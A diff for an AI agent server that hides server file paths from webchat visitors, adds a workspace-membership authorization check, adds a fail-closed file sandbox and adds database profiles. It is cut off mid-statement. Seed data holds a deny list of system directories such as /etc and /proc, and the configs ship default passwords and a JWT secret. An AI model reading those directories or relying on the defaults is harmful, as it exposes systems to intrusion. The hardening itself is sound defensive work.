    @@ -936,6 +1164,16 @@ public class ConversationService { } public String renderMessageContent(MessageEntity message) { + return renderMessageContent(message, true); + } + + /** + * Render variant whose {@code includePath} controls whether the server-side + * file path is embedded in the text. Internal/LLM rendering keeps it (tools + * resolve files by path); external rendering (webchat visitors) drops it so + * the server filesystem layout is not disclosed to untrusted callers. + */ + public String renderMessageContent(MessageEntity message, boolean includePath) { List parts = parseMessageParts(message); if (parts.isEmpty()) { return message.getContent() != null ? message.getContent() : ""; @@ -949,8 +1187,8 @@ public class ConversationService { switch (part.getType()) { case "text" -> appendSegment(text, part.getText()); case "thinking", "tool_call", "parse_error" -> { /* skip — frontend reads these from contentParts directly */ } - case "file" -> appendSegment(text, renderFilePart(part)); - case "image", "video", "audio", "model3d" -> appendSegment(text, renderMediaPart(part)); + case "file" -> appendSegment(text, renderFilePart(part, includePath)); + case "image", "video", "audio", "model3d" -> appendSegment(text, renderMediaPart(part, includePath)); default -> appendSegment(text, part.getText()); } } @@ -1000,10 +1238,10 @@ public class ConversationService { * picks (read_file / extract_document_text / detect_file_type / …) can be called * with a path that resolves directly, instead of relying on per-tool fallbacks. */ - private String renderFilePart(MessageContentPart part) { + private String renderFilePart(MessageContentPart part, boolean includePath) { String name = safe(part.getFileName()); String path = safe(part.getPath()); - if (path.isBlank()) { + if (!includePath || path.isBlank()) { return "[附件] " + name; } return "[附件] " + name + "(路径: " + path + ")"; @@ -1020,7 +1258,7 @@ public class ConversationService { * already uploaded. The path lets file-reading tools ({@code read_file}, * {@code extract_document_text}, {@code detect_file_type}) work as a fallback. */ - private String renderMediaPart(MessageContentPart part) { + private String renderMediaPart(MessageContentPart part, boolean includePath) { String label = switch (part.getType()) { case "image" -> "[图片]"; case "video" -> "[视频]"; @@ -1033,10 +1271,38 @@ public class ConversationService { name = "未命名"; } String path = safe(part.getPath()); - if (path.isBlank()) { - return label + " " + name; + StringBuilder rendered = new StringBuilder(label).append(' ').append(name); + if (includePath && !path.isBlank()) { + rendered.append("(路径: ").append(path).append(")"); + } + // A persisted caption (vision sidecar output) carries the image content + // into later turns: history user messages replay as text only, so without + // this the model would lose all knowledge of the attachment after turn 1. + String caption = safe(part.getCaption()); + if (!caption.isBlank()) { + rendered.append("\n[图片内容] ").append(caption.trim()); + } + return rendered.toString(); + } + + /** + * Overwrite a message's {@code content_parts} with an updated list — used by + * the vision sidecar to persist generated captions back onto image parts so + * later turns retain the image description (history replay is text-only). + * Best-effort: a serialization or DB failure is logged, not propagated, so + * the in-flight chat turn is never broken by a caption write. + */ + public void updateMessageParts(MessageEntity message, List parts) { + if (message == null || message.getId() == null || parts == null || parts.isEmpty()) { + return; + } + try { + message.setContentParts(serializeParts(parts)); + messageMapper.updateById(message); + } catch (Exception e) { + log.warn("Failed to persist updated content_parts for message {}: {}", + message.getId(), e.getMessage()); } - return label + " " + name + "(路径: " + path + ")"; } private void appendSegment(StringBuilder builder, String text) { @@ -1296,12 +1562,37 @@ public class ConversationService { } /** - * Check whether a user owns the conversation, treating system-owned - * rows (e.g. from scheduled jobs / IM channels) as visible to every - * authenticated user. + * Check whether a user owns the conversation. Direct owners always pass; + * shared rows (system / IM / {@code webchat:} principals) are + * additionally gated by the requester's membership in the conversation's + * workspace, so they are not reachable cross-workspace by id. * - *

    校验用户是否拥有该会话。定时任务产生的会话(username = system) - * 对所有登录用户可见。 + *

    Cross-workspace guard (issue #344). The legacy contract let any + * logged-in user reach a system / IM / webchat-owned conversation by id — + * the list endpoints filtered by {@code workspaceId} but the direct-access + * endpoints did not. Under a multi-tenant model where workspaces are + * untrusted isolation boundaries, that asymmetry is a cross-workspace + * authorization gap. This method now also requires, for shared (non-direct) + * conversations, that the requester actually be a member of the + * conversation's workspace. + * + *

    校验用户是否拥有该会话。直属会话直接放行;共享会话(system / IM / webchat) + * 额外要求请求者是该会话所属 workspace 的成员。 + * + *

    分支: + *

      + *
    • 会话不存在 → false
    • + *
    • 请求者是该会话的直属 owner → true(自己的会话,workspace 隐式一致)
    • + *
    • 会话无 workspace_id(老数据)→ 仅看是否 system owner(维持旧行为,避免回归)
    • + *
    • 请求者用户记录不存在(permitAll 端点的匿名重连)→ 仅看是否 system owner(维持旧行为)
    • + *
    • 请求者是全局 admin(user.role=admin)→ true(横切覆盖,与具体 workspace 无关)
    • + *
    • 请求者非该会话 workspace 的成员 → false
    • + *
    • 否则 → system owner 检查(共享会话对本 workspace 成员可见)
    • + *
    + * + *

    调用方签名不变;调用方若需在不查 DB 的情况下做 admin 例外,可在外层先短路, + * 但通常让本方法统一处理以避免散落的 admin 例外逻辑。注意:本方法不读 + * {@code X-Workspace-Id} header —— 该 header 客户端可伪造,以 DB 中的成员关系为准。 */ public boolean isConversationOwner(String conversationId, String username) { ConversationEntity conv = conversationMapper.selectOne( @@ -1310,7 +1601,28 @@ public class ConversationService { if (conv == null) { return false; } - return username.equals(conv.getUsername()) || SYSTEM_USER.equals(conv.getUsername()); + // 直属 owner 一律放行:会话由该用户创建,workspace 自然一致,无需再做成员校验。 + if (username != null && username.equals(conv.getUsername())) { + return true; + } + // 共享会话(system / IM / webchat owner)以下收紧。 + Long convWorkspaceId = conv.getWorkspaceId(); + UserEntity requester = authService.findByUsername(username); + // 老数据无 workspace_id,或请求者为匿名(permitAll 端点重连场景):维持旧行为, + // 仅 system owner 可见。避免数据迁移未完成或匿名流式场景下回归。 + if (convWorkspaceId == null || requester == null) { + return SYSTEM_USER.equals(conv.getUsername()); + } + // 全局 admin 横切放行,覆盖所有 workspace。 + if ("admin".equalsIgnoreCase(requester.getRole())) { + return true; + } + // #344 的核心守卫:必须是该会话所属 workspace 的成员(viewer 或更高)。 + // 不读 X-Workspace-Id header —— 客户端可伪造;以 DB 成员关系为准。 + if (!workspaceService.hasPermissionCached(convWorkspaceId, requester.getId(), "viewer")) { + return false; + } + return SYSTEM_USER.equals(conv.getUsername()); } /** diff --git a/mateclaw-server/src/main/java/vip/mate/workspace/conversation/controller/ConversationController.java b/mateclaw-server/src/main/java/vip/mate/workspace/conversation/controller/ConversationController.java index ab9a283c..2aa7c498 100644 --- a/mateclaw-server/src/main/java/vip/mate/workspace/conversation/controller/ConversationController.java +++ b/mateclaw-server/src/main/java/vip/mate/workspace/conversation/controller/ConversationController.java @@ -38,7 +38,9 @@ public class ConversationController { Authentication auth, @RequestHeader(value = "X-Workspace-Id", required = false) Long workspaceId) { String username = auth != null ? auth.getName() : "anonymous"; - return R.ok(conversationService.listConversations(username, workspaceId)); + // Admin console: include external channel principals (webchat visitors) + // so webchat threads show up alongside the user's own + system rows. + return R.ok(conversationService.listConversations(username, workspaceId, true)); } /** diff --git a/mateclaw-server/src/main/java/vip/mate/workspace/conversation/model/ConversationEntity.java b/mateclaw-server/src/main/java/vip/mate/workspace/conversation/model/ConversationEntity.java index 2242e49e..22f16873 100644 --- a/mateclaw-server/src/main/java/vip/mate/workspace/conversation/model/ConversationEntity.java +++ b/mateclaw-server/src/main/java/vip/mate/workspace/conversation/model/ConversationEntity.java @@ -51,6 +51,16 @@ public class ConversationEntity { /** Pin flag: 0 = normal, 1 = pinned to the top of the sidebar list */ private Integer pinned; + /** + * Archive flag (webchat): 0 = active (default), 1 = archived. + * Archived threads stay in the DB (history preserved, still addressable + * by sessionId, downloadable) but are excluded from the default + * /sessions listing. A visitor opts into seeing them via + * {@code includeArchived=true}. Archive dominates pin — an archived + * AND pinned thread is still hidden by default. + */ + private Integer archived; + /** * Provider id of the model this conversation is pinned to. NULL means * "inherit" — fall back to the agent's model override, then the global @@ -61,6 +71,14 @@ public class ConversationEntity { /** Model id this conversation is pinned to. See {@link #modelProvider}. */ private String modelName; + /** + * WebChat per-thread sessionId (see V147 migration). Persisted so it can be + * recovered for the visitor's /sessions listing even when the conversationId + * hashes (long visitorId + sessionId folds into an unrecoverable hash). NULL + * for non-webchat rows and for a visitor's default (no-session) thread. + */ + private String webchatSessionId; + /** * Per-conversation progress notebook JSON (see V100 migration). *

    diff --git a/mateclaw-server/src/main/java/vip/mate/workspace/conversation/model/MessageContentPart.java b/mateclaw-server/src/main/java/vip/mate/workspace/conversation/model/MessageContentPart.java index 181da4b4..53958928 100644 --- a/mateclaw-server/src/main/java/vip/mate/workspace/conversation/model/MessageContentPart.java +++ b/mateclaw-server/src/main/java/vip/mate/workspace/conversation/model/MessageContentPart.java @@ -49,6 +49,15 @@ public class MessageContentPart { */ private String mediaId; + /** + * Vision-model description of an image/video part, produced by the sidecar + * captioning path when the primary model is text-only. Persisted so the + * description survives into later turns: history replay sends user messages + * as text, and without a stored caption the image content would be lost on + * every follow-up question. Null for non-media parts or when no captioning ran. + */ + private String caption; + // ==================== 工厂方法 ==================== public static MessageContentPart text(String text) { diff --git a/mateclaw-server/src/main/java/vip/mate/workspace/conversation/vo/ConversationVO.java b/mateclaw-server/src/main/java/vip/mate/workspace/conversation/vo/ConversationVO.java index 1b35bd05..44be0d79 100644 --- a/mateclaw-server/src/main/java/vip/mate/workspace/conversation/vo/ConversationVO.java +++ b/mateclaw-server/src/main/java/vip/mate/workspace/conversation/vo/ConversationVO.java @@ -66,8 +66,10 @@ public class ConversationVO extends ConversationEntity { vo.setLastActiveTime(entity.getLastActiveTime()); vo.setWorkspaceId(entity.getWorkspaceId()); vo.setPinned(entity.getPinned() != null ? entity.getPinned() : 0); + vo.setArchived(entity.getArchived() != null ? entity.getArchived() : 0); vo.setModelProvider(entity.getModelProvider()); vo.setModelName(entity.getModelName()); + vo.setWebchatSessionId(entity.getWebchatSessionId()); vo.setCreateTime(entity.getCreateTime()); vo.setUpdateTime(entity.getUpdateTime()); // 补充关联字段 diff --git a/mateclaw-server/src/main/java/vip/mate/workspace/core/config/WorkspaceSandboxAutoConfiguration.java b/mateclaw-server/src/main/java/vip/mate/workspace/core/config/WorkspaceSandboxAutoConfiguration.java new file mode 100644 index 00000000..a789bba7 --- /dev/null +++ b/mateclaw-server/src/main/java/vip/mate/workspace/core/config/WorkspaceSandboxAutoConfiguration.java @@ -0,0 +1,47 @@ +package vip.mate.workspace.core.config; + +import lombok.extern.slf4j.Slf4j; +import org.springframework.boot.context.properties.EnableConfigurationProperties; +import org.springframework.context.annotation.Configuration; +import vip.mate.tool.guard.WorkspacePathGuard; + +import java.nio.file.Files; +import java.nio.file.Path; +import java.nio.file.Paths; + +/** + * Registers the global fallback sandbox root with {@link WorkspacePathGuard}. + *

    + * Without this, a workspace whose {@code base_path} is unset (the default state) + * leaves the path guard a no-op, so the agent's file and shell tools can reach + * anywhere the server process can. Pinning a fallback root makes the sandbox + * fail closed: unconfigured conversations are confined to a single directory + * instead of the whole filesystem. + * + * @author MateClaw Team + */ +@Slf4j +@Configuration +@EnableConfigurationProperties(WorkspaceSandboxProperties.class) +public class WorkspaceSandboxAutoConfiguration { + + public WorkspaceSandboxAutoConfiguration(WorkspaceSandboxProperties properties) { + if (!properties.isEnabled()) { + WorkspacePathGuard.setDefaultRoot(null); + log.warn("[WorkspaceSandbox] Fallback sandbox root disabled — conversations " + + "without a configured workspace base path run unconstrained"); + return; + } + Path root = Paths.get(properties.getRoot()).toAbsolutePath().normalize(); + try { + Files.createDirectories(root); + } catch (Exception e) { + // Registering the root still tightens the boundary even if the + // directory can't be pre-created; the shell cwd just won't be pinned + // to it until it exists. Log and continue rather than fail startup. + log.warn("[WorkspaceSandbox] Failed to create fallback sandbox root {}: {}", + root, e.getMessage()); + } + WorkspacePathGuard.setDefaultRoot(root.toString()); + } +} diff --git a/mateclaw-server/src/main/java/vip/mate/workspace/core/config/WorkspaceSandboxProperties.java b/mateclaw-server/src/main/java/vip/mate/workspace/core/config/WorkspaceSandboxProperties.java new file mode 100644 index 00000000..37b4a0de --- /dev/null +++ b/mateclaw-server/src/main/java/vip/mate/workspace/core/config/WorkspaceSandboxProperties.java @@ -0,0 +1,36 @@ +package vip.mate.workspace.core.config; + +import lombok.Data; +import org.springframework.boot.context.properties.ConfigurationProperties; + +/** + * Workspace filesystem sandbox configuration. + *

    + * Backs the global fallback boundary enforced by + * {@link vip.mate.tool.guard.WorkspacePathGuard}. When a conversation has no + * per-workspace base path configured, file and shell tools are confined to + * {@link #root} instead of running unconstrained against the whole filesystem. + * This is the fail-closed default for the common out-of-the-box state where a + * workspace's {@code base_path} column is unset. + * + * @author MateClaw Team + */ +@Data +@ConfigurationProperties(prefix = "mateclaw.workspace.sandbox") +public class WorkspaceSandboxProperties { + + /** + * Whether the global fallback sandbox root is enforced. When {@code false}, + * conversations without a configured workspace base path run unconstrained + * (the legacy behaviour) — an escape hatch for operators who deliberately + * want agents to reach outside any single directory. + */ + private boolean enabled = true; + + /** + * Global fallback sandbox root, used when no per-workspace base path is set. + * Defaults to {@code /data/workspace}, alongside the H2 data + * directory. The directory is created at startup if missing. + */ + private String root = System.getProperty("user.dir") + "/data/workspace"; +} diff --git a/mateclaw-server/src/main/resources/application-kingbase.yml b/mateclaw-server/src/main/resources/application-kingbase.yml new file mode 100644 index 00000000..85192afe --- /dev/null +++ b/mateclaw-server/src/main/resources/application-kingbase.yml @@ -0,0 +1,71 @@ +spring: + datasource: + # 人大金仓 KingbaseES 数据源配置 + # 默认连接参数: + # DB_HOST=localhost, DB_PORT=54321, DB_NAME=mateclaw + # KingbaseES 基于 PostgreSQL,兼容 PostgreSQL JDBC 协议 + # 通过环境变量覆盖:DB_HOST, DB_PORT, DB_NAME, DB_USERNAME, DB_PASSWORD + # + # JDBC 超时参数说明: + # connectTimeout=10 — TCP 连接超时(秒),避免 OS 级超时(60-180s) + # socketTimeout=30 — socket 读取超时(秒),防止僵死连接永久阻塞 + # loginTimeout=10 — 数据库登录超时(秒) + url: jdbc:kingbase8://${DB_HOST:localhost}:${DB_PORT:54321}/${DB_NAME:mateclaw}?currentSchema=mateclaw&connectTimeout=10&socketTimeout=30&loginTimeout=10 + driver-class-name: com.kingbase8.Driver + username: ${DB_USERNAME:system} + password: ${DB_PASSWORD:Admin2026@123} + hikari: + maximum-pool-size: 30 + minimum-idle: 5 + connection-timeout: 30000 + idle-timeout: 300000 + # 原 1800000(30min) 与巡检中观察到的 30min 卡住周期吻合 — 若存在连接泄漏, + # 30min 后 HikariCP 强制回收旧连接才恢复。降至 10min 加快故障自愈速度。 + max-lifetime: 600000 + leak-detection-threshold: 30000 + # 连接池初始化超时:若在此时长内无法获取首个有效连接,快速失败而非无限等待 + initialization-fail-timeout: 30000 + # Kingbase ES:每个新连接初始化时强制设置 search_path, + # 作为 currentSchema 参数的双重保障,防止连接落入 public schema + connection-init-sql: SET search_path TO mateclaw + + flyway: + # Flyway uses PostgreSQL JDBC driver because KingbaseES is PostgreSQL-compatible + # on the wire protocol level. The application runtime (MyBatis) still uses the + # Kingbase8 driver for production queries. + # + # JDBC 超时参数:避免 Flyway 连接阶段也因 OS 级 TCP 超时而"卡住" + url: jdbc:postgresql://${DB_HOST:localhost}:${DB_PORT:54321}/${DB_NAME:mateclaw}?currentSchema=mateclaw&connectTimeout=10&socketTimeout=30&loginTimeout=10 + user: ${DB_USERNAME:system} + password: ${DB_PASSWORD:Admin2026@123} + locations: + - classpath:db/migration/kingbase + # 迁移前确保目标 schema 存在(Kingbase 不会自动创建非 public schema) + init-sqls: + - CREATE SCHEMA IF NOT EXISTS mateclaw + # 首次迁移或脚本变更后跳过 checksum 校验,避免因脚本转换导致的校验失败卡住 + validate-on-migrate: false + + h2: + console: + enabled: false + +# MyBatis Plus — Kingbase ES 显式数据库类型 +# PaginationInnerInterceptor 使用无参构造时依赖 JDBC URL 自动检测, +# 在 DataSource 代理/包装层下可能检测失败回退到 MYSQL 方言, +# 导致分页 SQL 生成 LIMIT offset,count 而非 LIMIT count OFFSET offset。 +# 显式指定 kingbase_es 确保所有分页/ID生成/批量操作使用正确的方言。 +mybatis-plus: + global-config: + db-config: + db-type: kingbase_es + +# Production (multi-tenant server) hardening: fail closed on source-path +# validation. With no allowed-source-roots configured, every KB source +# directory is rejected rather than allowing full-filesystem reads — so a +# missing allow-list cannot silently re-open arbitrary directory scanning. +# Operators set mate.wiki.allowed-source-roots to permit specific roots. +# The default profile (H2 / desktop / single-tenant) leaves this off. +mate: + wiki: + require-allowed-roots: true diff --git a/mateclaw-server/src/main/resources/application-mysql.yml b/mateclaw-server/src/main/resources/application-mysql.yml index d7e0cafd..945e7c81 100644 --- a/mateclaw-server/src/main/resources/application-mysql.yml +++ b/mateclaw-server/src/main/resources/application-mysql.yml @@ -13,7 +13,7 @@ spring: # treat the connection as utf8mb4, force the connection collation via # connectionCollation=utf8mb4_unicode_ci — that is what prevents the # `Data truncation: Incorrect string value` errors on emoji/CJK ext. - url: jdbc:mysql://${DB_HOST:localhost}:${DB_PORT:3306}/${DB_NAME:mateclaw}?createDatabaseIfNotExist=true&useUnicode=true&characterEncoding=UTF-8&connectionCollation=utf8mb4_unicode_ci&useSSL=false&serverTimezone=Asia/Shanghai&allowPublicKeyRetrieval=true + url: jdbc:mysql://${DB_HOST:localhost}:${DB_PORT:3306}/${DB_NAME:mateclaw}?createDatabaseIfNotExist=true&useUnicode=true&characterEncoding=UTF-8&connectionCollation=utf8mb4_unicode_ci&useSSL=false&serverTimezone=Asia/Shanghai&allowPublicKeyRetrieval=true&connectTimeout=10000&socketTimeout=30000 driver-class-name: com.mysql.cj.jdbc.Driver username: ${DB_USERNAME:root} password: ${DB_PASSWORD:mateclaw123} @@ -30,8 +30,17 @@ spring: # validation. With no allowed-source-roots configured, every KB source # directory is rejected rather than allowing full-filesystem reads — so a # missing allow-list cannot silently re-open arbitrary directory scanning. -# Operators set mate.wiki.allowed-source-roots to permit specific roots. +# Set MATE_WIKI_ALLOWED_SOURCE_ROOTS in .env (comma-separated paths): +# MATE_WIKI_ALLOWED_SOURCE_ROOTS=/data/wiki,/opt/docs # The default profile (H2 / desktop / single-tenant) leaves this off. +# Source watcher master switch (ops gate). Off by default; operators opt in. +# AND semantics: a KB is auto-scanned only when this global switch AND that +# KB's own auto-sync toggle are both on. Manual scans are unaffected. +# MATE_WIKI_WATCHER_ENABLED=true +# MATE_WIKI_WATCHER_INTERVAL_MS=300000 # scan interval, default 5 min mate: wiki: require-allowed-roots: true + allowed-source-roots: ${MATE_WIKI_ALLOWED_SOURCE_ROOTS:} + watcher-enabled: ${MATE_WIKI_WATCHER_ENABLED:false} + watcher-interval-ms: ${MATE_WIKI_WATCHER_INTERVAL_MS:300000} diff --git a/mateclaw-server/src/main/resources/application-postgres.yml b/mateclaw-server/src/main/resources/application-postgres.yml new file mode 100644 index 00000000..a9e6a829 --- /dev/null +++ b/mateclaw-server/src/main/resources/application-postgres.yml @@ -0,0 +1,71 @@ +spring: + datasource: + # PostgreSQL data source. + # Default connection parameters: + # DB_HOST=localhost, DB_PORT=5432, DB_NAME=mateclaw + # Override via env vars: DB_HOST, DB_PORT, DB_NAME, DB_USERNAME, DB_PASSWORD + # + # JDBC timeouts: + # connectTimeout=10 — TCP connect timeout (s), avoids OS-level stalls + # socketTimeout=30 — socket read timeout (s), prevents dead connections hanging forever + # loginTimeout=10 — database login timeout (s) + url: jdbc:postgresql://${DB_HOST:localhost}:${DB_PORT:5432}/${DB_NAME:mateclaw}?currentSchema=mateclaw&connectTimeout=10&socketTimeout=30&loginTimeout=10 + driver-class-name: org.postgresql.Driver + username: ${DB_USERNAME:postgres} + password: ${DB_PASSWORD:postgres} + hikari: + maximum-pool-size: 30 + minimum-idle: 5 + connection-timeout: 30000 + idle-timeout: 300000 + # Recycle connections after 10 min so a leak self-heals quickly rather + # than surfacing as a ~30 min stall. + max-lifetime: 600000 + leak-detection-threshold: 30000 + # Fail fast if the first valid connection can't be obtained in time. + initialization-fail-timeout: 30000 + # Force search_path on every new connection as a belt-and-suspenders + # guard alongside currentSchema, so connections never land in public. + connection-init-sql: SET search_path TO mateclaw + + flyway: + # PostgreSQL and KingbaseES share the same migration tree + # (db/migration/kingbase) because they use the same SQL dialect. + url: jdbc:postgresql://${DB_HOST:localhost}:${DB_PORT:5432}/${DB_NAME:mateclaw}?currentSchema=mateclaw&connectTimeout=10&socketTimeout=30&loginTimeout=10 + user: ${DB_USERNAME:postgres} + password: ${DB_PASSWORD:postgres} + locations: + - classpath:db/migration/kingbase + # Ensure the target schema exists before migrating (PostgreSQL won't + # auto-create a non-public schema). + init-sqls: + - CREATE SCHEMA IF NOT EXISTS mateclaw + # Skip checksum validation so an in-place migration edit doesn't block startup. + validate-on-migrate: false + + h2: + console: + enabled: false + +# MyBatis Plus — explicit PostgreSQL dialect. +# The no-arg PaginationInnerInterceptor auto-detects from the JDBC URL, which +# can fail under a wrapped/proxied DataSource and fall back to the MySQL +# dialect (LIMIT offset,count). Pin postgre_sql so pagination / ID generation / +# batch operations always use the correct dialect. +mybatis-plus: + global-config: + db-config: + db-type: postgre_sql + +# Production (multi-tenant server) hardening: fail closed on Wiki source-path +# validation. With no allowed-source-roots configured, every KB source +# directory is rejected rather than allowing full-filesystem reads — a missing +# allow-list cannot silently re-open arbitrary directory scanning. Override +# MATE_WIKI_ALLOWED_SOURCE_ROOTS to permit specific roots. The default profile +# (H2 / desktop / single-tenant) leaves this off. +mate: + wiki: + require-allowed-roots: true + allowed-source-roots: ${MATE_WIKI_ALLOWED_SOURCE_ROOTS:} + watcher-enabled: ${MATE_WIKI_WATCHER_ENABLED:false} + watcher-interval-ms: ${MATE_WIKI_WATCHER_INTERVAL_MS:300000} diff --git a/mateclaw-server/src/main/resources/application.yml b/mateclaw-server/src/main/resources/application.yml index 8f4dcd58..005d440b 100644 --- a/mateclaw-server/src/main/resources/application.yml +++ b/mateclaw-server/src/main/resources/application.yml @@ -19,7 +19,7 @@ spring: profiles: active: dev - # 数据源(默认 H2,生产切换为 mysql profile) + # 数据源(默认 H2,生产切换为 mysql 或 kingbase profile) datasource: url: jdbc:h2:file:./data/mateclaw;MODE=MySQL;DATABASE_TO_LOWER=TRUE;CASE_INSENSITIVE_IDENTIFIERS=TRUE driver-class-name: org.h2.Driver @@ -124,6 +124,13 @@ springdoc: # MateClaw 自定义配置 mateclaw: + server: + # Public base URL used to build absolute download links for tool-generated + # files (e.g. https://mateclaw.example.com). Leave empty to fall back to the + # current request's host, and to a relative path when no request is bound. + # Set this when agents deliver download links to channels/clients that cannot + # resolve a relative URL (IM messages, copied links, external downloads). + public-base-url: ${MATECLAW_PUBLIC_BASE_URL:} jwt: secret: ${JWT_SECRET:MateClaw-JWT-Secret-Key-2024-Please-Change-In-Production} expiration: 86400000 @@ -139,9 +146,22 @@ mateclaw: # an admin can move a noisy one to extension per server. # legacy: advertise every bound tool up front (pre-disclosure behavior). mode: ${MATECLAW_TOOLS_DISCLOSURE_MODE:progressive} + workspace: + sandbox: + # Global fallback filesystem boundary for file/shell tools. When a + # conversation has no per-workspace base path configured, operations are + # confined to this root instead of running unconstrained against the whole + # filesystem (fail-closed default). Set enabled=false to restore the legacy + # unconstrained behaviour for unconfigured conversations. + enabled: ${MATECLAW_WORKSPACE_SANDBOX_ENABLED:true} + root: ${MATECLAW_WORKSPACE_SANDBOX_ROOT:${user.dir}/data/workspace} skill: workspace: - root: ${user.home}/.mateclaw/skills + # Skill workspace root. Override with MATECLAW_SKILL_WORKSPACE_ROOT to + # relocate it onto a persistent volume — in Docker this is pointed at + # /app/data/skills so the existing server_data volume persists installed + # skills, accumulated LESSONS.md, and skill runtime files across restarts. + root: ${MATECLAW_SKILL_WORKSPACE_ROOT:${user.home}/.mateclaw/skills} auto-init: true delete-policy: archive disclosure: @@ -215,6 +235,10 @@ mateclaw: # MateClaw Agent 配置 mate: agent: + # Deterministic Markdown cleanup of the final answer (heading spaces, glued + # ---, table pipe alignment) before persistence / channel delivery. Set to + # false to pass model output through verbatim. + markdown-normalize-enabled: true graph: observation: # 与 GraphObservationProperties.java 默认值对齐,参考 openclaw token-budget 设计 @@ -300,3 +324,14 @@ mate: contradiction-check-enabled: false # experimental simple detection, enable after LLM batch impl trust-half-life-days: 60 forget-enabled: true + # Always-on injection budget — bounds the per-turn size of the user/feedback structured block + system-block-max-chars: 4000 # char cap on the always-on block; over budget drops oldest by Updated date (LRU); 0 = unlimited + system-block-max-entries-per-type: 40 # max entries injected per type (user/feedback); 0 = unlimited + # Structured-memory consolidation — separate maintenance task; LLM merges duplicate/stale user/feedback entries (shared + per-owner) to curb storage growth + structured-consolidation-enabled: true # off = injection cap only, no storage-side merge + structured-consolidation-min-entries: 8 # buckets with fewer entries skip the LLM call to save cost + structured-consolidation-cron: "0 30 3 * * ?" # own schedule, decoupled from dreaming-enabled / dreaming-cron + structured-consolidation-max-owners-per-run: 50 # cap LLM cost per agent per run; remaining owners picked up next run; 0 = unlimited + # Always-on file ceilings — deterministic backstop so PROFILE.md / MEMORY.md (LLM-rewritten) cannot grow per-turn context without bound + profile-max-chars: 4000 # PROFILE.md hard cap; truncates at a section boundary if the rewrite overruns; 0 = unlimited + memory-md-max-chars: 8000 # MEMORY.md hard cap; 0 = unlimited diff --git a/mateclaw-server/src/main/resources/db/data-en.sql b/mateclaw-server/src/main/resources/db/data-en.sql index 752e1772..7bd78328 100644 --- a/mateclaw-server/src/main/resources/db/data-en.sql +++ b/mateclaw-server/src/main/resources/db/data-en.sql @@ -527,6 +527,11 @@ MERGE INTO mate_tool (id, name, display_name, description, tool_type, bean_name, KEY (id) VALUES (1000000022, 'PdfRenderTool', 'PDF Render', 'Render Markdown into a final-form .pdf and return a one-time download link. Two backends (LibreOffice subprocess preferred, OpenPDF + Flying Saucer fallback); supports YAML frontmatter for cover / page header / page footer.', 'builtin', 'pdfRenderTool', '📄', TRUE, TRUE, NOW(), NOW(), 0); +-- Built-in tool: Code Execute (inline python/bash/node the agent writes on the fly) +MERGE INTO mate_tool (id, name, display_name, description, tool_type, bean_name, icon, enabled, builtin, create_time, update_time, deleted) +KEY (id) +VALUES (1000000023, 'CodeExecuteTool', 'Code Execute', 'Execute a snippet of code (python, bash, or node) that the agent writes on the fly. Lets a documentation-only skill be acted on by running the code its instructions describe. Dangerous operations trigger approval.', 'builtin', 'codeExecuteTool', '🧑‍💻', TRUE, TRUE, NOW(), NOW(), 0); + -- Example MCP Server: Filesystem (see MateClaw docs mcpServers.filesystem) MERGE INTO mate_mcp_server ( id, name, description, transport, url, headers_json, command, args_json, env_json, cwd, @@ -1860,7 +1865,7 @@ SELECT 1000000001, TRUE, 'all', - '["execute_shell_command"]', + '["execute_shell_command","execute_code"]', '[]', TRUE, '["/etc","/usr","/bin","/sbin","/boot","/sys","/proc","/dev"]', diff --git a/mateclaw-server/src/main/resources/db/data-kingbase-en.sql b/mateclaw-server/src/main/resources/db/data-kingbase-en.sql new file mode 100644 index 00000000..aeab6c12 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/data-kingbase-en.sql @@ -0,0 +1,1805 @@ +-- MateClaw Seed Data - English (KingbaseES / PostgreSQL syntax, ON CONFLICT DO UPDATE) + +-- Default admin (password: admin123, BCrypt encrypted) +INSERT INTO mate_user (id, username, password, nickname, role, enabled, create_time, update_time, deleted) +VALUES (1, 'admin', '$2a$10$7JB720yubVSZvUI0rEqK/.VqGOZTH.ulu33dHOiBE8ByOhJIrdAu2', 'MateClaw Admin', 'admin', TRUE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET username=EXCLUDED.username, password=EXCLUDED.password, nickname=EXCLUDED.nickname, role=EXCLUDED.role, enabled=EXCLUDED.enabled, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +-- Default digital employee: General Assistant (ReAct mode) +INSERT INTO mate_agent (id, name, description, agent_type, system_prompt, model_name, max_iterations, enabled, icon, tags, create_time, update_time, deleted) +VALUES (1000000001, 'General Assistant', 'All-purpose helper for day-to-day questions, data analysis, and tool calling', 'react', 'You are MateClaw''s General Assistant. You can help users answer questions, analyze data, and call tools to get things done. Please respond professionally and in a friendly manner.', NULL, 100, TRUE, 'pi:robot-face-happy', 'default,assistant', NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, description=EXCLUDED.description, agent_type=EXCLUDED.agent_type, system_prompt=EXCLUDED.system_prompt, model_name=EXCLUDED.model_name, max_iterations=EXCLUDED.max_iterations, enabled=EXCLUDED.enabled, icon=EXCLUDED.icon, tags=EXCLUDED.tags, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +-- Default digital employee: Task Planner (Plan-Execute mode) +INSERT INTO mate_agent (id, name, description, agent_type, system_prompt, model_name, max_iterations, enabled, icon, tags, create_time, update_time, deleted) +VALUES (1000000002, 'Task Planner', 'Breaks complex goals into executable steps and drives them forward to completion', 'plan_execute', 'You are a professional Task Planner. You excel at breaking complex goals into executable steps and completing them systematically.', NULL, 100, TRUE, 'pi:clipboard-note', 'planning,task', NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, description=EXCLUDED.description, agent_type=EXCLUDED.agent_type, system_prompt=EXCLUDED.system_prompt, model_name=EXCLUDED.model_name, max_iterations=EXCLUDED.max_iterations, enabled=EXCLUDED.enabled, icon=EXCLUDED.icon, tags=EXCLUDED.tags, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +-- Default digital employee: Reasoning Analyst (explicit reasoning loops + tool calling) +INSERT INTO mate_agent (id, name, description, agent_type, system_prompt, model_name, max_iterations, enabled, icon, tags, create_time, update_time, deleted) +VALUES (1000000003, 'Reasoning Analyst', 'Thinks step by step with visible reasoning, ideal for problems that need thorough deliberation', 'react', 'You are a Reasoning Analyst, an assistant that excels at deep reasoning. When facing a problem, first think through it step by step with a clear reasoning trace, then call tools or give the answer. Please respond professionally and in a friendly manner.', NULL, 100, TRUE, 'pi:cpu', 'react,reasoning,tools', NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE 